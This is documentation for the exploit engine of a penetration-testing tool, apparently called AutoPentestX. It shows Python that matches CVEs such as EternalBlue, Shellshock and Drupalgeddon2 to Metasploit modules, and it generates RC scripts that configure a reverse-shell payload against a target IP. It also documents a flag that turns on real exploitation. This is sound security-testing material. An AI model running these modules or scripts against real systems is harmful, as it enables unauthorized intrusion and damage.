> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/Gowtham-Darkseid/AutoPentestX/llms.txt
> Use this file to discover all available pages before exploring further.

# Exploit Engine Module

> Safe exploitation simulation with Metasploit integration and RC script generation

## Overview

The Exploit Engine module (`modules/exploit_engine.py`) provides safe exploitation capabilities with Metasploit Framework integration. It matches vulnerabilities to known exploits, simulates attacks in safe mode, and generates Metasploit RC scripts for manual validation.

<Warning>
  **Safe Mode Enabled by Default**: All exploitation attempts run in simulation mode unless explicitly disabled with `--no-safe-mode`. Safe mode prevents actual exploitation while demonstrating attack feasibility.
</Warning>

## ExploitEngine Class

Defined at `exploit_engine.py:14`, this class manages exploit matching and execution.

### Initialization

```python exploit_engine.py:15-53 theme={null}
class ExploitEngine:
    def __init__(self, safe_mode=True):
        """Initialize exploit engine"""
        self.safe_mode = safe_mode
        self.exploit_results = []
        self.metasploit_available = self.check_metasploit()
        
        # Exploit database (common exploits mapped to vulnerabilities)
        self.exploit_db = {
            'vsftpd 2.3.4': {
                'name': 'vsftpd_234_backdoor',
                'module': 'exploit/unix/ftp/vsftpd_234_backdoor',
                'description': 'VSFTPD v2.3.4 Backdoor Command Execution',
                'safe': True
            },
            'ProFTPD 1.3.3c': {
                'name': 'proftpd_133c_backdoor',
                'module': 'exploit/unix/ftp/proftpd_133c_backdoor',
                'description': 'ProFTPD 1.3.3c Backdoor',
                'safe': True
            },
            'EternalBlue': {
                'name': 'ms17_010_eternalblue',
                'module': 'exploit/windows/smb/ms17_010_eternalblue',
                'description': 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',
                'safe': False  # Potentially destructive
            },
            'Shellshock': {
                'name': 'apache_mod_cgi_bash_env_exec',
                'module': 'exploit/multi/http/apache_mod_cgi_bash_env_exec',
                'description': 'Apache mod_cgi Bash Environment Variable Code Injection',
                'safe': True
            },
            'Drupalgeddon2': {
                'name': 'drupalgeddon2',
                'module': 'exploit/unix/webapp/drupal_drupalgeddon2',
                'description': 'Drupal Drupalgeddon 2 Remote Code Execution',
                'safe': True
            }
        }
```

<ParamField path="safe_mode" type="boolean" default={true}>
  Enable safe mode to simulate exploits without actual execution
</ParamField>

## Built-in Exploit Database

The module includes a curated database of common exploits:

<Tabs>
  <Tab title="FTP Exploits">
    **vsftpd 2.3.4 Backdoor**

    * Module: `exploit/unix/ftp/vsftpd_234_backdoor`
    * CVE: CVE-2011-2523
    * Safe: Yes
    * Impact: Remote command execution

    **ProFTPD 1.3.3c Backdoor**

    * Module: `exploit/unix/ftp/proftpd_133c_backdoor`
    * CVE: CVE-2010-4221
    * Safe: Yes
    * Impact: Backdoor access
  </Tab>

  <Tab title="SMB Exploits">
    **EternalBlue (MS17-010)**

    * Module: `exploit/windows/smb/ms17_010_eternalblue`
    * CVE: CVE-2017-0144
    * Safe: **NO** (potentially destructive)
    * Impact: Remote code execution, system crash
    * Note: Blocked in safe mode
  </Tab>

  <Tab title="Web Exploits">
    **Shellshock**

    * Module: `exploit/multi/http/apache_mod_cgi_bash_env_exec`
    * CVE: CVE-2014-6271
    * Safe: Yes
    * Impact: Command injection

    **Drupalgeddon2**

    * Module: `exploit/unix/webapp/drupal_drupalgeddon2`
    * CVE: CVE-2018-7600
    * Safe: Yes
    * Impact: Remote code execution
  </Tab>
</Tabs>

## Exploit Matching

### match\_exploits()

Matches discovered vulnerabilities to available exploits.

```python exploit_engine.py:70-125 theme={null}
def match_exploits(self, vulnerabilities, cves):
    """Match vulnerabilities to available exploits"""
    matched_exploits = []
    
    # Match based on service versions
    for vuln in vulnerabilities:
        service = vuln.get('service', '').lower()
        version = vuln.get('version', '').lower()
        
        # Check exploit database
        for key, exploit in self.exploit_db.items():
            if key.lower() in f"{service} {version}":
                matched_exploits.append({
                    'vulnerability': vuln,
                    'exploit': exploit,
                    'port': vuln.get('port'),
                    'confidence': 'HIGH'
                })
    
    # Match based on CVEs
    cve_exploits = {
        'CVE-2017-0144': 'EternalBlue',  # MS17-010
        'CVE-2014-6271': 'Shellshock',   # Bash CGI
        'CVE-2018-7600': 'Drupalgeddon2', # Drupal RCE
        'CVE-2011-2523': 'vsftpd 2.3.4',
        'CVE-2010-4221': 'ProFTPD 1.3.3c'
    }
    
    for cve in cves:
        cve_id = cve.get('cve_id', '')
        if cve_id in cve_exploits:
            exploit_key = cve_exploits[cve_id]
            if exploit_key in self.exploit_db:
                matched_exploits.append({
                    'vulnerability': cve,
                    'exploit': self.exploit_db[exploit_key],
                    'port': cve.get('port'),
                    'confidence': 'HIGH'
                })
    
    return matched_exploits
```

**Matching Strategies:**

1. **Service Version Matching**: Compares service names and versions against exploit database
2. **CVE-to-Exploit Mapping**: Direct mapping of CVE IDs to known exploits

## Safe Exploitation

### simulate\_exploitation()

Simulates exploit execution in safe mode.

```python exploit_engine.py:145-195 theme={null}
def simulate_exploitation(self, matched_exploits, target):
    """Simulate exploitation attempts (safe mode)"""
    results = []
    
    for match in matched_exploits:
        exploit = match['exploit']
        port = match['port']
        
        # Check if exploit is safe to run
        if self.safe_mode and not exploit.get('safe', False):
            results.append({
                'exploit_name': exploit['name'],
                'module': exploit['module'],
                'port': port,
                'status': 'BLOCKED',
                'reason': 'Unsafe exploit blocked by safe mode',
                'timestamp': datetime.now().isoformat()
            })
            continue
        
        # Simulate exploit execution
        if self.safe_mode:
            results.append({
                'exploit_name': exploit['name'],
                'module': exploit['module'],
                'port': port,
                'status': 'SIMULATED',
                'reason': 'Safe mode enabled - no actual exploitation',
                'confidence': match['confidence'],
                'timestamp': datetime.now().isoformat()
            })
        else:
            # Actual exploitation (dangerous!)
            result = self.execute_metasploit_module(
                exploit['module'], target, port
            )
            results.append(result)
    
    return results
```

**Exploit Statuses:**

| Status      | Meaning                                     |
| ----------- | ------------------------------------------- |
| `SIMULATED` | Safe mode: Exploit matched but not executed |
| `BLOCKED`   | Unsafe exploit prevented by safe mode       |
| `SUCCESS`   | Exploit executed successfully (unsafe mode) |
| `FAILED`    | Exploit execution failed                    |
| `SKIPPED`   | Exploit not attempted                       |

## Metasploit RC Script Generation

### generate\_rc\_script()

Generates Metasploit RC scripts for manual exploitation.

```python exploit_engine.py:210-245 theme={null}
def generate_rc_script(self, matched_exploits, target, output_file):
    """Generate Metasploit RC script for matched exploits"""
    rc_content = []
    rc_content.append("# AutoPentestX - Metasploit RC Script")
    rc_content.append(f"# Target: {target}")
    rc_content.append(f"# Generated: {datetime.now()}")
    rc_content.append("")
    
    for idx, match in enumerate(matched_exploits, 1):
        exploit = match['exploit']
        port = match['port']
        
        rc_content.append(f"# Exploit {idx}: {exploit['name']}")
        rc_content.append(f"use {exploit['module']}")
        rc_content.append(f"set RHOSTS {target}")
        rc_content.append(f"set RPORT {port}")
        rc_content.append("set PAYLOAD cmd/unix/reverse")
        rc_content.append("set LHOST <YOUR_IP>")
        rc_content.append("set LPORT 4444")
        rc_content.append("check")
        rc_content.append("# exploit  # Uncomment to run")
        rc_content.append("")
    
    # Write to file
    os.makedirs('exploits', exist_ok=True)
    with open(output_file, 'w') as f:
        f.write('\n'.join(rc_content))
    
    return output_file
```

**Example RC Script:**

```ruby exploits/autopentestx_192.168.1.100.rc theme={null}
# AutoPentestX - Metasploit RC Script
# Target: 192.168.1.100
# Generated: 2024-01-15 14:30:00

# Exploit 1: vsftpd_234_backdoor
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.100
set RPORT 21
set PAYLOAD cmd/unix/reverse
set LHOST <YOUR_IP>
set LPORT 4444
check
# exploit  # Uncomment to run

# Exploit 2: apache_mod_cgi_bash_env_exec
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.1.100
set RPORT 80
set TARGETURI /cgi-bin/vulnerable.cgi
set PAYLOAD cmd/unix/reverse
set LHOST <YOUR_IP>
set LPORT 4444
check
# exploit  # Uncomment to run
```

**Loading RC Script:**

```bash theme={null}
msfconsole -r exploits/autopentestx_192.168.1.100.rc
```

## Safe Mode Protection

Safe mode provides three layers of protection:

<Steps>
  <Step title="Exploit Safety Check">
    Blocks exploits marked as `safe: False` in the database.

    ```python theme={null}
    if self.safe_mode and not exploit.get('safe', False):
        return 'BLOCKED'
    ```
  </Step>

  <Step title="Simulation Mode">
    Records exploit matches without executing Metasploit modules.

    ```python theme={null}
    if self.safe_mode:
        return {'status': 'SIMULATED', 'reason': 'Safe mode enabled'}
    ```
  </Step>

  <Step title="RC Script Generation">
    Creates manual verification scripts instead of auto-exploitation.

    All exploits output to RC files for operator review.
  </Step>
</Steps>

## Usage Example

```python theme={null}
from modules.exploit_engine import ExploitEngine

# Initialize in safe mode
exploit_engine = ExploitEngine(safe_mode=True)

# Match exploits to vulnerabilities
matched = exploit_engine.match_exploits(vulnerabilities, cves)

print(f"Matched {len(matched)} exploits")

# Simulate exploitation
results = exploit_engine.simulate_exploitation(matched, "192.168.1.100")

for result in results:
    print(f"[{result['status']}] {result['exploit_name']} on port {result['port']}")

# Generate RC script for manual testing
rc_file = exploit_engine.generate_rc_script(
    matched, 
    "192.168.1.100",
    "exploits/target.rc"
)
print(f"RC script saved: {rc_file}")
```

## Output Format

```json theme={null}
[
  {
    "exploit_name": "vsftpd_234_backdoor",
    "module": "exploit/unix/ftp/vsftpd_234_backdoor",
    "port": 21,
    "status": "SIMULATED",
    "reason": "Safe mode enabled - no actual exploitation",
    "confidence": "HIGH",
    "timestamp": "2024-01-15T14:30:00"
  },
  {
    "exploit_name": "ms17_010_eternalblue",
    "module": "exploit/windows/smb/ms17_010_eternalblue",
    "port": 445,
    "status": "BLOCKED",
    "reason": "Unsafe exploit blocked by safe mode",
    "timestamp": "2024-01-15T14:30:05"
  }
]
```

## Disabling Safe Mode

<Warning>
  **Dangerous Operation**: Disabling safe mode allows real exploitation that can cause system crashes, data loss, or unauthorized access. Only use on authorized targets with proper safeguards.
</Warning>

To disable safe mode:

```bash theme={null}
python3 main.py -t 192.168.1.100 --no-safe-mode
```

When prompted, you must confirm:

```
⚠️  WARNING: Safe mode disabled! Exploits will run for real.
Continue? (yes/no): yes
```

## Related Documentation

<CardGroup cols={2}>
  <Card title="Safe Mode Concept" icon="shield" href="/concepts/safe-mode">
    Detailed explanation of safe mode protection
  </Card>

  <Card title="Exploitation Guide" icon="book" href="/guides/exploitation">
    Complete guide to exploit simulation
  </Card>

  <Card title="Exploit Scripts" icon="file-code" href="/output/exploit-scripts">
    RC script format and usage
  </Card>

  <Card title="CLI Options" icon="terminal" href="/commands/options">
    \--no-safe-mode flag documentation
  </Card>
</CardGroup>
